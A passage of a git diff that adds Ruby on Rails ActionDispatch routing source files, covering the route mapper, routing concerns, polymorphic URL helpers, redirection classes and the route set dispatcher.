+ raise ArgumentError, "can't use nested outside resource(s) scope"
+ end
+
+ with_scope_level(:nested) do
+ if shallow?
+ with_exclusive_scope do
+ if @scope[:shallow_path].blank?
+ scope(parent_resource.nested_scope, nested_options) { yield }
+ else
+ scope(@scope[:shallow_path], :as => @scope[:shallow_prefix]) do
+ scope(parent_resource.nested_scope, nested_options) { yield }
+ end
+ end
+ end
+ else
+ scope(parent_resource.nested_scope, nested_options) { yield }
+ end
+ end
+ end
+
+ # See ActionDispatch::Routing::Mapper::Scoping#namespace
+ def namespace(path, options = {})
+ if resource_scope?
+ nested { super }
+ else
+ super
+ end
+ end
+
+ def shallow
+ scope(:shallow => true, :shallow_path => @scope[:path]) do
+ yield
+ end
+ end
+
+ def shallow?
+ parent_resource.instance_of?(Resource) && @scope[:shallow]
+ end
+
+ # match 'path' => 'controller#action'
+ # match 'path', to: 'controller#action'
+ # match 'path', 'otherpath', on: :member, via: :get
+ def match(path, *rest)
+ if rest.empty? && Hash === path
+ options = path
+ path, to = options.find { |name, _value| name.is_a?(String) }
+ options[:to] = to
+ options.delete(path)
+ paths = [path]
+ else
+ options = rest.pop || {}
+ paths = [path] + rest
+ end
+
+ options[:anchor] = true unless options.key?(:anchor)
+
+ if options[:on] && !VALID_ON_OPTIONS.include?(options[:on])
+ raise ArgumentError, "Unknown scope #{on.inspect} given to :on"
+ end
+
+ paths.each do |_path|
+ route_options = options.dup
+ route_options[:path] ||= _path if _path.is_a?(String)
+
+ path_without_format = _path.to_s.sub(/\(\.:format\)$/, '')
+ if using_match_shorthand?(path_without_format, route_options)
+ route_options[:to] ||= path_without_format.gsub(%r{^/}, "").sub(%r{/([^/]*)$}, '#\1')
+ end
+
+ decomposed_match(_path, route_options)
+ end
+ self
+ end
+
+ def using_match_shorthand?(path, options)
+ path && (options[:to] || options[:action]).nil? && path =~ %r{/[\w/]+$}
+ end
+
+ def decomposed_match(path, options) # :nodoc:
+ if on = options.delete(:on)
+ send(on) { decomposed_match(path, options) }
+ else
+ case @scope[:scope_level]
+ when :resources
+ nested { decomposed_match(path, options) }
+ when :resource
+ member { decomposed_match(path, options) }
+ else
+ add_route(path, options)
+ end
+ end
+ end
+
+ def add_route(action, options) # :nodoc:
+ path = path_for_action(action, options.delete(:path))
+ action = action.to_s.dup
+
+ if action =~ /^[\w\/]+$/
+ options[:action] ||= action unless action.include?("/")
+ else
+ action = nil
+ end
+
+ if !options.fetch(:as, true)
+ options.delete(:as)
+ else
+ options[:as] = name_for_action(options[:as], action)
+ end
+
+ mapping = Mapping.new(@set, @scope, URI.parser.escape(path), options)
+ app, conditions, requirements, defaults, as, anchor = mapping.to_route
+ @set.add_route(app, conditions, requirements, defaults, as, anchor)
+ end
+
+ def root(path, options={})
+ if path.is_a?(String)
+ options[:to] = path
+ elsif path.is_a?(Hash) and options.empty?
+ options = path
+ else
+ raise ArgumentError, "must be called with a path and/or options"
+ end
+
+ if @scope[:scope_level] == :resources
+ with_scope_level(:root) do
+ scope(parent_resource.path) do
+ super(options)
+ end
+ end
+ else
+ super(options)
+ end
+ end
+
+ protected
+
+ def parent_resource #:nodoc:
+ @scope[:scope_level_resource]
+ end
+
+ def apply_common_behavior_for(method, resources, options, &block) #:nodoc:
+ if resources.length > 1
+ resources.each { |r| send(method, r, options, &block) }
+ return true
+ end
+
+ if resource_scope?
+ nested { send(method, resources.pop, options, &block) }
+ return true
+ end
+
+ options.keys.each do |k|
+ (options[:constraints] ||= {})[k] = options.delete(k) if options[k].is_a?(Regexp)
+ end
+
+ scope_options = options.slice!(*RESOURCE_OPTIONS)
+ unless scope_options.empty?
+ scope(scope_options) do
+ send(method, resources.pop, options, &block)
+ end
+ return true
+ end
+
+ unless action_options?(options)
+ options.merge!(scope_action_options) if scope_action_options?
+ end
+
+ false
+ end
+
+ def action_options?(options) #:nodoc:
+ options[:only] || options[:except]
+ end
+
+ def scope_action_options? #:nodoc:
+ @scope[:options] && (@scope[:options][:only] || @scope[:options][:except])
+ end
+
+ def scope_action_options #:nodoc:
+ @scope[:options].slice(:only, :except)
+ end
+
+ def resource_scope? #:nodoc:
+ RESOURCE_SCOPES.include? @scope[:scope_level]
+ end
+
+ def resource_method_scope? #:nodoc:
+ RESOURCE_METHOD_SCOPES.include? @scope[:scope_level]
+ end
+
+ def with_exclusive_scope
+ begin
+ old_name_prefix, old_path = @scope[:as], @scope[:path]
+ @scope[:as], @scope[:path] = nil, nil
+
+ with_scope_level(:exclusive) do
+ yield
+ end
+ ensure
+ @scope[:as], @scope[:path] = old_name_prefix, old_path
+ end
+ end
+
+ def with_scope_level(kind, resource = parent_resource)
+ old, @scope[:scope_level] = @scope[:scope_level], kind
+ old_resource, @scope[:scope_level_resource] = @scope[:scope_level_resource], resource
+ yield
+ ensure
+ @scope[:scope_level] = old
+ @scope[:scope_level_resource] = old_resource
+ end
+
+ def resource_scope(kind, resource) #:nodoc:
+ with_scope_level(kind, resource) do
+ scope(parent_resource.resource_scope) do
+ yield
+ end
+ end
+ end
+
+ def nested_options #:nodoc:
+ options = { :as => parent_resource.member_name }
+ options[:constraints] = {
+ parent_resource.nested_param => param_constraint
+ } if param_constraint?
+
+ options
+ end
+
+ def param_constraint? #:nodoc:
+ @scope[:constraints] && @scope[:constraints][parent_resource.param].is_a?(Regexp)
+ end
+
+ def param_constraint #:nodoc:
+ @scope[:constraints][parent_resource.param]
+ end
+
+ def canonical_action?(action, flag) #:nodoc:
+ flag && resource_method_scope? && CANONICAL_ACTIONS.include?(action.to_s)
+ end
+
+ def shallow_scoping? #:nodoc:
+ shallow? && @scope[:scope_level] == :member
+ end
+
+ def path_for_action(action, path) #:nodoc:
+ prefix = shallow_scoping? ?
+ "#{@scope[:shallow_path]}/#{parent_resource.shallow_scope}" : @scope[:path]
+
+ if canonical_action?(action, path.blank?)
+ prefix.to_s
+ else
+ "#{prefix}/#{action_path(action, path)}"
+ end
+ end
+
+ def action_path(name, path = nil) #:nodoc:
+ name = name.to_sym if name.is_a?(String)
+ path || @scope[:path_names][name] || name.to_s
+ end
+
+ def prefix_name_for_action(as, action) #:nodoc:
+ if as
+ as.to_s
+ elsif !canonical_action?(action, @scope[:scope_level])
+ action.to_s
+ end
+ end
+
+ def name_for_action(as, action) #:nodoc:
+ prefix = prefix_name_for_action(as, action)
+ prefix = Mapper.normalize_name(prefix) if prefix
+ name_prefix = @scope[:as]
+
+ if parent_resource
+ return nil unless as || action
+
+ collection_name = parent_resource.collection_name
+ member_name = parent_resource.member_name
+ end
+
+ name = case @scope[:scope_level]
+ when :nested
+ [name_prefix, prefix]
+ when :collection
+ [prefix, name_prefix, collection_name]
+ when :new
+ [prefix, :new, name_prefix, member_name]
+ when :member
+ [prefix, shallow_scoping? ? @scope[:shallow_prefix] : name_prefix, member_name]
+ when :root
+ [name_prefix, collection_name, prefix]
+ else
+ [name_prefix, member_name, prefix]
+ end
+
+ if candidate = name.select(&:present?).join("_").presence
+ # If a name was not explicitly given, we check if it is valid
+ # and return nil in case it isn't. Otherwise, we pass the invalid name
+ # forward so the underlying router engine treats it and raises an exception.
+ if as.nil?
+ candidate unless @set.routes.find { |r| r.name == candidate } || candidate !~ /\A[_a-z]/i
+ else
+ candidate
+ end
+ end
+ end
+
+ def set_member_mappings_for_resource
+ member do
+ get :edit if parent_resource.actions.include?(:edit)
+ get :show if parent_resource.actions.include?(:show)
+ if parent_resource.actions.include?(:update)
+ patch :update
+ put :update
+ end
+ delete :destroy if parent_resource.actions.include?(:destroy)
+ end
+ end
+ end
+
+ # Routing Concerns allow you to declare common routes that can be reused
+ # inside others resources and routes.
+ #
+ # concern :commentable do
+ # resources :comments
+ # end
+ #
+ # concern :image_attachable do
+ # resources :images, only: :index
+ # end
+ #
+ # These concerns are used in Resources routing:
+ #
+ # resources :messages, concerns: [:commentable, :image_attachable]
+ #
+ # or in a scope or namespace:
+ #
+ # namespace :posts do
+ # concerns :commentable
+ # end
+ module Concerns
+ # Define a routing concern using a name.
+ #
+ # Concerns may be defined inline, using a block, or handled by
+ # another object, by passing that object as the second parameter.
+ #
+ # The concern object, if supplied, should respond to <tt>call</tt>,
+ # which will receive two parameters:
+ #
+ # * The current mapper
+ # * A hash of options which the concern object may use
+ #
+ # Options may also be used by concerns defined in a block by accepting
+ # a block parameter. So, using a block, you might do something as
+ # simple as limit the actions available on certain resources, passing
+ # standard resource options through the concern:
+ #
+ # concern :commentable do |options|
+ # resources :comments, options
+ # end
+ #
+ # resources :posts, concerns: :commentable
+ # resources :archived_posts do
+ # # Don't allow comments on archived posts
+ # concerns :commentable, only: [:index, :show]
+ # end
+ #
+ # Or, using a callable object, you might implement something more
+ # specific to your application, which would be out of place in your
+ # routes file.
+ #
+ # # purchasable.rb
+ # class Purchasable
+ # def initialize(defaults = {})
+ # @defaults = defaults
+ # end
+ #
+ # def call(mapper, options = {})
+ # options = @defaults.merge(options)
+ # mapper.resources :purchases
+ # mapper.resources :receipts
+ # mapper.resources :returns if options[:returnable]
+ # end
+ # end
+ #
+ # # routes.rb
+ # concern :purchasable, Purchasable.new(returnable: true)
+ #
+ # resources :toys, concerns: :purchasable
+ # resources :electronics, concerns: :purchasable
+ # resources :pets do
+ # concerns :purchasable, returnable: false
+ # end
+ #
+ # Any routing helpers can be used inside a concern. If using a
+ # callable, they're accessible from the Mapper that's passed to
+ # <tt>call</tt>.
+ def concern(name, callable = nil, &block)
+ callable ||= lambda { |mapper, options| mapper.instance_exec(options, &block) }
+ @concerns[name] = callable
+ end
+
+ # Use the named concerns
+ #
+ # resources :posts do
+ # concerns :commentable
+ # end
+ #
+ # concerns also work in any routes helper that you want to use:
+ #
+ # namespace :posts do
+ # concerns :commentable
+ # end
+ def concerns(*args)
+ options = args.extract_options!
+ args.flatten.each do |name|
+ if concern = @concerns[name]
+ concern.call(self, options)
+ else
+ raise ArgumentError, "No concern named #{name} was found!"
+ end
+ end
+ end
+ end
+
+ def initialize(set) #:nodoc:
+ @set = set
+ @scope = { :path_names => @set.resources_path_names }
+ @concerns = {}
+ end
+
+ include Base
+ include HttpHelpers
+ include Redirection
+ include Scoping
+ include Concerns
+ include Resources
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
new file mode 100644
index 0000000..6d3f8da
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
@@ -0,0 +1,205 @@
+require 'action_controller/model_naming'
+
+module ActionDispatch
+ module Routing
+ # Polymorphic URL helpers are methods for smart resolution to a named route call when
+ # given an Active Record model instance. They are to be used in combination with
+ # ActionController::Resources.
+ #
+ # These methods are useful when you want to generate correct URL or path to a RESTful
+ # resource without having to know the exact type of the record in question.
+ #
+ # Nested resources and/or namespaces are also supported, as illustrated in the example:
+ #
+ # polymorphic_url([:admin, @article, @comment])
+ #
+ # results in:
+ #
+ # admin_article_comment_url(@article, @comment)
+ #
+ # == Usage within the framework
+ #
+ # Polymorphic URL helpers are used in a number of places throughout the \Rails framework:
+ #
+ # * <tt>url_for</tt>, so you can use it with a record as the argument, e.g.
+ # <tt>url_for(@article)</tt>;
+ # * ActionView::Helpers::FormHelper uses <tt>polymorphic_path</tt>, so you can write
+ # <tt>form_for(@article)</tt> without having to specify <tt>:url</tt> parameter for the form
+ # action;
+ # * <tt>redirect_to</tt> (which, in fact, uses <tt>url_for</tt>) so you can write
+ # <tt>redirect_to(post)</tt> in your controllers;
+ # * ActionView::Helpers::AtomFeedHelper, so you don't have to explicitly specify URLs
+ # for feed entries.
+ #
+ # == Prefixed polymorphic helpers
+ #
+ # In addition to <tt>polymorphic_url</tt> and <tt>polymorphic_path</tt> methods, a
+ # number of prefixed helpers are available as a shorthand to <tt>action: "..."</tt>
+ # in options. Those are:
+ #
+ # * <tt>edit_polymorphic_url</tt>, <tt>edit_polymorphic_path</tt>
+ # * <tt>new_polymorphic_url</tt>, <tt>new_polymorphic_path</tt>
+ #
+ # Example usage:
+ #
+ # edit_polymorphic_path(@post) # => "/posts/1/edit"
+ # polymorphic_path(@post, format: :pdf) # => "/posts/1.pdf"
+ #
+ # == Usage with mounted engines
+ #
+ # If you are using a mounted engine and you need to use a polymorphic_url
+ # pointing at the engine's routes, pass in the engine's route proxy as the first
+ # argument to the method. For example:
+ #
+ # polymorphic_url([blog, @post]) # calls blog.post_path(@post)
+ # form_for([blog, @post]) # => "/blog/posts/1"
+ #
+ module PolymorphicRoutes
+ include ActionController::ModelNaming
+
+ # Constructs a call to a named RESTful route for the given record and returns the
+ # resulting URL string. For example:
+ #
+ # # calls post_url(post)
+ # polymorphic_url(post) # => "http://example.com/posts/1"
+ # polymorphic_url([blog, post]) # => "http://example.com/blogs/1/posts/1"
+ # polymorphic_url([:admin, blog, post]) # => "http://example.com/admin/blogs/1/posts/1"
+ # polymorphic_url([user, :blog, post]) # => "http://example.com/users/1/blog/posts/1"
+ # polymorphic_url(Comment) # => "http://example.com/comments"
+ #
+ # ==== Options
+ #
+ # * <tt>:action</tt> - Specifies the action prefix for the named route:
+ # <tt>:new</tt> or <tt>:edit</tt>. Default is no prefix.
+ # * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
+ # Default is <tt>:url</tt>.
+ #
+ # # an Article record
+ # polymorphic_url(record) # same as article_url(record)
+ #
+ # # a Comment record
+ # polymorphic_url(record) # same as comment_url(record)
+ #
+ # # it recognizes new records and maps to the collection
+ # record = Comment.new
+ # polymorphic_url(record) # same as comments_url()
+ #
+ # # the class of a record will also map to the collection
+ # polymorphic_url(Comment) # same as comments_url()
+ #
+ def polymorphic_url(record_or_hash_or_array, options = {})
+ if record_or_hash_or_array.kind_of?(Array)
+ record_or_hash_or_array = record_or_hash_or_array.compact
+ if record_or_hash_or_array.first.is_a?(ActionDispatch::Routing::RoutesProxy)
+ proxy = record_or_hash_or_array.shift
+ end
+ record_or_hash_or_array = record_or_hash_or_array[0] if record_or_hash_or_array.size == 1
+ end
+
+ record = extract_record(record_or_hash_or_array)
+ record = convert_to_model(record)
+
+ args = Array === record_or_hash_or_array ?
+ record_or_hash_or_array.dup :
+ [ record_or_hash_or_array ]
+
+ inflection = if options[:action] && options[:action].to_s == "new"
+ args.pop
+ :singular
+ elsif (record.respond_to?(:persisted?) && !record.persisted?)
+ args.pop
+ :plural
+ elsif record.is_a?(Class)
+ args.pop
+ :plural
+ else
+ :singular
+ end
+
+ args.delete_if {|arg| arg.is_a?(Symbol) || arg.is_a?(String)}
+ named_route = build_named_route_call(record_or_hash_or_array, inflection, options)
+
+ url_options = options.except(:action, :routing_type)
+ unless url_options.empty?
+ args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options
+ end
+
+ args.collect! { |a| convert_to_model(a) }
+
+ (proxy || self).send(named_route, *args)
+ end
+
+ # Returns the path component of a URL for the given record. It uses
+ # <tt>polymorphic_url</tt> with <tt>routing_type: :path</tt>.
+ def polymorphic_path(record_or_hash_or_array, options = {})
+ polymorphic_url(record_or_hash_or_array, options.merge(:routing_type => :path))
+ end
+
+ %w(edit new).each do |action|
+ module_eval <<-EOT, __FILE__, __LINE__ + 1
+ def #{action}_polymorphic_url(record_or_hash, options = {}) # def edit_polymorphic_url(record_or_hash, options = {})
+ polymorphic_url( # polymorphic_url(
+ record_or_hash, # record_or_hash,
+ options.merge(:action => "#{action}")) # options.merge(:action => "edit"))
+ end # end
+ #
+ def #{action}_polymorphic_path(record_or_hash, options = {}) # def edit_polymorphic_path(record_or_hash, options = {})
+ polymorphic_url( # polymorphic_url(
+ record_or_hash, # record_or_hash,
+ options.merge(:action => "#{action}", :routing_type => :path)) # options.merge(:action => "edit", :routing_type => :path))
+ end # end
+ EOT
+ end
+
+ private
+ def action_prefix(options)
+ options[:action] ? "#{options[:action]}_" : ''
+ end
+
+ def routing_type(options)
+ options[:routing_type] || :url
+ end
+
+ def build_named_route_call(records, inflection, options = {})
+ if records.is_a?(Array)
+ record = records.pop
+ route = records.map do |parent|
+ if parent.is_a?(Symbol) || parent.is_a?(String)
+ parent
+ else
+ model_name_from_record_or_class(parent).singular_route_key
+ end
+ end
+ else
+ record = extract_record(records)
+ route = []
+ end
+
+ if record.is_a?(Symbol) || record.is_a?(String)
+ route << record
+ elsif record
+ if inflection == :singular
+ route << model_name_from_record_or_class(record).singular_route_key
+ else
+ route << model_name_from_record_or_class(record).route_key
+ end
+ else
+ raise ArgumentError, "Nil location provided. Can't build URI."
+ end
+
+ route << routing_type(options)
+
+ action_prefix(options) + route.join("_")
+ end
+
+ def extract_record(record_or_hash_or_array)
+ case record_or_hash_or_array
+ when Array; record_or_hash_or_array.last
+ when Hash; record_or_hash_or_array[:id]
+ else record_or_hash_or_array
+ end
+ end
+ end
+ end
+end
+
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
new file mode 100644
index 0000000..d751e04
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -0,0 +1,148 @@
+require 'action_dispatch/http/request'
+require 'active_support/core_ext/uri'
+require 'active_support/core_ext/array/extract_options'
+require 'rack/utils'
+require 'action_controller/metal/exceptions'
+
+module ActionDispatch
+ module Routing
+ class Redirect # :nodoc:
+ attr_reader :status, :block
+
+ def initialize(status, block)
+ @status = status
+ @block = block
+ end
+
+ def call(env)
+ req = Request.new(env)
+
+ # If any of the path parameters has a invalid encoding then
+ # raise since it's likely to trigger errors further on.
+ req.symbolized_path_parameters.each do |key, value|
+ unless value.valid_encoding?
+ raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
+ end
+ end
+
+ uri = URI.parse(path(req.symbolized_path_parameters, req))
+ uri.scheme ||= req.scheme
+ uri.host ||= req.host
+ uri.port ||= req.port unless req.standard_port?
+
+ body = %(<html><body>You are being <a href="#{ERB::Util.h(uri.to_s)}">redirected</a>.</body></html>)
+
+ headers = {
+ 'Location' => uri.to_s,
+ 'Content-Type' => 'text/html',
+ 'Content-Length' => body.length.to_s
+ }
+
+ [ status, headers, [body] ]
+ end
+
+ def path(params, request)
+ block.call params, request
+ end
+
+ def inspect
+ "redirect(#{status})"
+ end
+ end
+
+ class PathRedirect < Redirect
+ def path(params, request)
+ (params.empty? || !block.match(/%\{\w*\}/)) ? block : (block % escape(params))
+ end
+
+ def inspect
+ "redirect(#{status}, #{block})"
+ end
+
+ private
+ def escape(params)
+ Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+ end
+ end
+
+ class OptionRedirect < Redirect # :nodoc:
+ alias :options :block
+
+ def path(params, request)
+ url_options = {
+ :protocol => request.protocol,
+ :host => request.host,
+ :port => request.optional_port,
+ :path => request.path,
+ :params => request.query_parameters
+ }.merge! options
+
+ if !params.empty? && url_options[:path].match(/%\{\w*\}/)
+ url_options[:path] = (url_options[:path] % escape_path(params))
+ end
+
+ ActionDispatch::Http::URL.url_for url_options
+ end
+
+ def inspect
+ "redirect(#{status}, #{options.map{ |k,v| "#{k}: #{v}" }.join(', ')})"
+ end
+
+ private
+ def escape_path(params)
+ Hash[params.map{ |k,v| [k, URI.parser.escape(v)] }]
+ end
+ end
+
+ module Redirection
+
+ # Redirect any path to another path:
+ #
+ # get "/stories" => redirect("/posts")
+ #
+ # You can also use interpolation in the supplied redirect argument:
+ #
+ # get 'docs/:article', to: redirect('/wiki/%{article}')
+ #
+ # Alternatively you can use one of the other syntaxes:
+ #
+ # The block version of redirect allows for the easy encapsulation of any logic associated with
+ # the redirect in question. Either the params and request are supplied as arguments, or just
+ # params, depending of how many arguments your block accepts. A string is required as a
+ # return value.
+ #
+ # get 'jokes/:number', to: redirect { |params, request|
+ # path = (params[:number].to_i.even? ? "wheres-the-beef" : "i-love-lamp")
+ # "http://#{request.host_with_port}/#{path}"
+ # }
+ #
+ # Note that the +do end+ syntax for the redirect block wouldn't work, as Ruby would pass
+ # the block to +get+ instead of +redirect+. Use <tt>{ ... }</tt> instead.
+ #
+ # The options version of redirect allows you to supply only the parts of the url which need
+ # to change, it also supports interpolation of the path similar to the first example.
+ #
+ # get 'stores/:name', to: redirect(subdomain: 'stores', path: '/%{name}')
+ # get 'stores/:name(*all)', to: redirect(subdomain: 'stores', path: '/%{name}%{all}')
+ #
+ # Finally, an object which responds to call can be supplied to redirect, allowing you to reuse
+ # common redirect routes. The call method must accept two arguments, params and request, and return
+ # a string.
+ #
+ # get 'accounts/:name' => redirect(SubdomainRedirector.new('api'))
+ #
+ def redirect(*args, &block)
+ options = args.extract_options!
+ status = options.delete(:status) || 301
+ path = args.shift
+
+ return OptionRedirect.new(status, options) if options.any?
+ return PathRedirect.new(status, path) if String === path
+
+ block = path if path.respond_to? :call
+ raise ArgumentError, "redirection argument not supported" unless block
+ Redirect.new status, block
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
new file mode 100644
index 0000000..342b6ec
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -0,0 +1,709 @@
+require 'action_dispatch/journey'
+require 'forwardable'
+require 'thread_safe'
+require 'active_support/core_ext/object/to_query'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/array/extract_options'
+require 'action_controller/metal/exceptions'
+
+module ActionDispatch
+ module Routing
+ class RouteSet #:nodoc:
+ # Since the router holds references to many parts of the system
+ # like engines, controllers and the application itself, inspecting
+ # the route set can actually be really slow, therefore we default
+ # alias inspect to to_s.
+ alias inspect to_s
+
+ PARAMETERS_KEY = 'action_dispatch.request.path_parameters'
+
+ class Dispatcher #:nodoc:
+ def initialize(options={})
+ @defaults = options[:defaults]
+ @glob_param = options.delete(:glob)
+ @controller_class_names = ThreadSafe::Cache.new
+ end
+
+ def call(env)
+ params = env[PARAMETERS_KEY]
+
+ # If any of the path parameters has a invalid encoding then
+ # raise since it's likely to trigger errors further on.
+ params.each do |key, value|
+ next unless value.respond_to?(:valid_encoding?)
+
+ unless value.valid_encoding?
+ raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
+ end
+ end
+
+ prepare_params!(params)
+
+ # Just raise undefined constant errors if a controller was specified as default.
+ unless controller = controller(params, @defaults.key?(:controller))
+ return [404, {'X-Cascade' => 'pass'}, []]
+ end
+
+ dispatch(controller, params[:action], env)
+ end
+
+ def prepare_params!(params)
+ normalize_controller!(params)
+ merge_default_action!(params)
+ split_glob_param!(params) if @glob_param
+ end
+
+ # If this is a default_controller (i.e. a controller specified by the user)
+ # we should raise an error in case it's not found, because it usually means
+ # a user error. However, if the controller was retrieved through a dynamic
+ # segment, as in :controller(/:action), we should simply return nil and
+ # delegate the control back to Rack cascade. Besides, if this is not a default
+ # controller, it means we should respect the @scope[:module] parameter.
+ def controller(params, default_controller=true)
+ if params && params.key?(:controller)
+ controller_param = params[:controller]
+ controller_reference(controller_param)
+ end
+ rescue NameError => e
+ raise ActionController::RoutingError, e.message, e.backtrace if default_controller
+ end
+
+ private
+
+ def controller_reference(controller_param)
+ const_name = @controller_class_names[controller_param] ||= "#{controller_param.camelize}Controller"
+ ActiveSupport::Dependencies.constantize(const_name)
+ end
+
+ def dispatch(controller, action, env)
+ controller.action(action).call(env)
+ end
+
+ def normalize_controller!(params)
+ params[:controller] = params[:controller].underscore if params.key?(:controller)
+ end
+
+ def merge_default_action!(params)
+ params[:action] ||= 'index'
+ end
+
+ def split_glob_param!(params)
+ params[@glob_param] = params[@glob_param].split('/').map { |v| URI.parser.unescape(v) }
+ end
+ end
+
+ # A NamedRouteCollection instance is a collection of named routes, and also
+ # maintains an anonymous module that can be used to install helpers for the
+ # named routes.
+ class NamedRouteCollection #:nodoc:
+ include Enumerable
+ attr_reader :routes, :helpers, :module
+
+ def initialize
+ @routes = {}
+ @helpers = []
+ @module = Module.new
+ end
+
+ def helper_names
+ @helpers.map(&:to_s)
+ end
+
+ def clear!
+ @helpers.each do |helper|
+ @module.remove_possible_method helper
+ end
+
+ @routes.clear
+ @helpers.clear
+ end
+
+ def add(name, route)
+ routes[name.to_sym] = route
+ define_named_route_methods(name, route)
+ end
+
+ def get(name)
+ routes[name.to_sym]
+ end
+
+ alias []= add
+ alias [] get
+ alias clear clear!
+
+ def each
+ routes.each { |name, route| yield name, route }
+ self
+ end
+
+ def names
+ routes.keys
+ end
+
+ def length
+ routes.length
+ end
+
+ class UrlHelper # :nodoc:
+ def self.create(route, options)
+ if optimize_helper?(route)
+ OptimizedUrlHelper.new(route, options)
+ else
+ new route, options
+ end
+ end
+
+ def self.optimize_helper?(route)
+ route.requirements.except(:controller, :action).empty?
+ end
+
+ class OptimizedUrlHelper < UrlHelper # :nodoc:
+ attr_reader :arg_size
+
+ def initialize(route, options)
+ super
+ @path_parts = @route.required_parts
+ @arg_size = @path_parts.size
+ @string_route = @route.optimized_path
+ end
+
+ def call(t, args)
+ if args.size == arg_size && !args.last.is_a?(Hash) && optimize_routes_generation?(t)
+ options = @options.dup
+ options.merge!(t.url_options) if t.respond_to?(:url_options)
+ options[:path] = optimized_helper(args)
+ ActionDispatch::Http::URL.url_for(options)
+ else
+ super
+ end
+ end
+
+ private
+
+ def optimized_helper(args)
+ path = @string_route.dup
+ klass = Journey::Router::Utils
+
+ @path_parts.zip(args) do |part, arg|
+ # Replace each route parameter
+ # e.g. :id for regular parameter or *path for globbing
+ # with ruby string interpolation code
+ path.gsub!(/(\*|:)#{part}/, klass.escape_fragment(arg.to_param))
+ end
+ path
+ end
+
+ def optimize_routes_generation?(t)
+ t.send(:optimize_routes_generation?)
+ end
+ end
+
+ def initialize(route, options)
+ @options = options
+ @segment_keys = route.segment_keys
+ @route = route
+ end
+
+ def call(t, args)
+ t.url_for(handle_positional_args(t, args, @options, @segment_keys))
+ end
+
+ def handle_positional_args(t, args, options, keys)
+ inner_options = args.extract_options!
+ result = options.dup
+
+ if args.size > 0
+ if args.size < keys.size - 1 # take format into account
+ keys -= t.url_options.keys if t.respond_to?(:url_options)
+ keys -= options.keys
+ end
+ result.merge!(Hash[keys.zip(args)])
+ end
+
+ result.merge!(inner_options)
+ end
+ end
+
+ private
+ # Create a url helper allowing ordered parameters to be associated
+ # with corresponding dynamic segments, so you can do:
+ #
+ # foo_url(bar, baz, bang)
+ #
+ # Instead of:
+ #
+ # foo_url(bar: bar, baz: baz, bang: bang)
+ #
+ # Also allow options hash, so you can do:
+ #
+ # foo_url(bar, baz, bang, sort_by: 'baz')
+ #
+ def define_url_helper(route, name, options)
+ helper = UrlHelper.create(route, options.dup)
+
+ @module.remove_possible_method name
+ @module.module_eval do
+ define_method(name) do |*args|
+ helper.call self, args
+ end
+ end
+
+ helpers << name
+ end
+
+ def define_named_route_methods(name, route)
+ define_url_helper route, :"#{name}_path",
+ route.defaults.merge(:use_route => name, :only_path => true)
+ define_url_helper route, :"#{name}_url",
+ route.defaults.merge(:use_route => name, :only_path => false)
+ end
+ end
+
+ attr_accessor :formatter, :set, :named_routes, :default_scope, :router
+ attr_accessor :disable_clear_and_finalize, :resources_path_names
+ attr_accessor :default_url_options, :request_class
+
+ alias :routes :set
+
+ def self.default_resources_path_names
+ { :new => 'new', :edit => 'edit' }
+ end
+
+ def initialize(request_class = ActionDispatch::Request)
+ self.named_routes = NamedRouteCollection.new
+ self.resources_path_names = self.class.default_resources_path_names.dup
+ self.default_url_options = {}
+ self.request_class = request_class
+
+ @append = []
+ @prepend = []
+ @disable_clear_and_finalize = false
+ @finalized = false
+
+ @set = Journey::Routes.new
+ @router = Journey::Router.new(@set, {
+ :parameters_key => PARAMETERS_KEY,
+ :request_class => request_class})
+ @formatter = Journey::Formatter.new @set
+ end
+
+ def draw(&block)
+ clear! unless @disable_clear_and_finalize
+ eval_block(block)
+ finalize! unless @disable_clear_and_finalize
+ nil
+ end
+
+ def append(&block)
+ @append << block
+ end
+
+ def prepend(&block)
+ @prepend << block
+ end
+
+ def eval_block(block)
+ if block.arity == 1
+ raise "You are using the old router DSL which has been removed in Rails 3.1. " <<
+ "Please check how to update your routes file at: http://www.engineyard.com/blog/2010/the-lowdown-on-routes-in-rails-3/"
+ end
+ mapper = Mapper.new(self)
+ if default_scope
+ mapper.with_default_scope(default_scope, &block)
+ else
+ mapper.instance_exec(&block)
+ end
+ end
+
+ def finalize!
+ return if @finalized
+ @append.each { |blk| eval_block(blk) }
+ @finalized = true
+ end
+
+ def clear!
+ @finalized = false
+ named_routes.clear
+ set.clear
+ formatter.clear
+ @prepend.each { |blk| eval_block(blk) }
+ end
+
+ module MountedHelpers #:nodoc:
+ extend ActiveSupport::Concern
+ include UrlFor
+ end
+
+ # Contains all the mounted helpers accross different
+ # engines and the `main_app` helper for the application.
+ # You can include this in your classes if you want to
+ # access routes for other engines.
+ def mounted_helpers
+ MountedHelpers
+ end
+
+ def define_mounted_helper(name)
+ return if MountedHelpers.method_defined?(name)
+
+ routes = self
+ MountedHelpers.class_eval do
+ define_method "_#{name}" do
+ RoutesProxy.new(routes, _routes_context)
+ end
+ end
+
+ MountedHelpers.class_eval(<<-RUBY, __FILE__, __LINE__ + 1)
+ def #{name}
+ @_#{name} ||= _#{name}
+ end
+ RUBY
+ end
+
+ def url_helpers
+ @url_helpers ||= begin
+ routes = self
+
+ Module.new do
+ extend ActiveSupport::Concern
+ include UrlFor
+
+ # Define url_for in the singleton level so one can do:
+ # Rails.application.routes.url_helpers.url_for(args)
+ @_routes = routes
+ class << self
+ delegate :url_for, :optimize_routes_generation?, :to => '@_routes'
+ end
+
+ # Make named_routes available in the module singleton
+ # as well, so one can do:
+ # Rails.application.routes.url_helpers.posts_path
+ extend routes.named_routes.module
+
+ # Any class that includes this module will get all
+ # named routes...
